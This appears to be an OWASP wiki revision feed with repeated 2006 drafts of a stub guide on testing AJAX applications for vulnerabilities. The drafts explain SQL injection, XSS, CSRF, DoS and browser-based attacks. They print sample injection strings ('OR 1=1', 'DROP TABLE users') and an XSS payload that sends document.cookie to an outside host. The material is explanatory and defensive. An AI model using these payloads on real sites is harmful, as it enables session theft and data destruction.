&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Yes, it is possible for a rogue or vulnerable application to force a user to launch multiple XMLHttpRequests to a target application, but this has been possible before AJAX. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using &amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt; nested within a JavaScript loop can do the trick more effectively. If anything, I predict poorly thought out infrastructure and application design is likely to cause AJAX applications to inadvertently DOS themselves due to too frequent XMLHttpRequests.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Recent Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;&lt;br /&gt;
In Samy attack,the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;The Yamanner worm targeted Yahoo Mail, harvesting e-mail addresses and forwarding itself to all contacts in a user's Yahoo address book.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11776</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11776"/>
				<updated>2006-11-05T19:27:03Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Recent Attacks */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its ecurity implications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Yes, it is possible for a rogue or vulnerable application to force a user to launch multiple XMLHttpRequests to a target application, but this has been possible before AJAX. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using &amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt; nested within a JavaScript loop can do the trick more effectively. If anything, I predict poorly thought out infrastructure and application design is likely to cause AJAX applications to inadvertently DOS themselves due to too frequent XMLHttpRequests.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Recent Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site&amp;lt;br&amp;gt;&lt;br /&gt;
In Samy attack,the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;The Yamanner worm targeted Yahoo Mail, harvesting e-mail addresses and forwarding itself to all contacts in a user's Yahoo address book.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11775</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11775"/>
				<updated>2006-11-05T19:11:58Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Attacks and Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its ecurity implications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Yes, it is possible for a rogue or vulnerable application to force a user to launch multiple XMLHttpRequests to a target application, but this has been possible before AJAX. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using &amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt; nested within a JavaScript loop can do the trick more effectively. If anything, I predict poorly thought out infrastructure and application design is likely to cause AJAX applications to inadvertently DOS themselves due to too frequent XMLHttpRequests.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Recent Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;The Yamanner worm targeted Yahoo Mail, harvesting e-mail addresses and forwarding itself to all contacts in a user's Yahoo address book.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
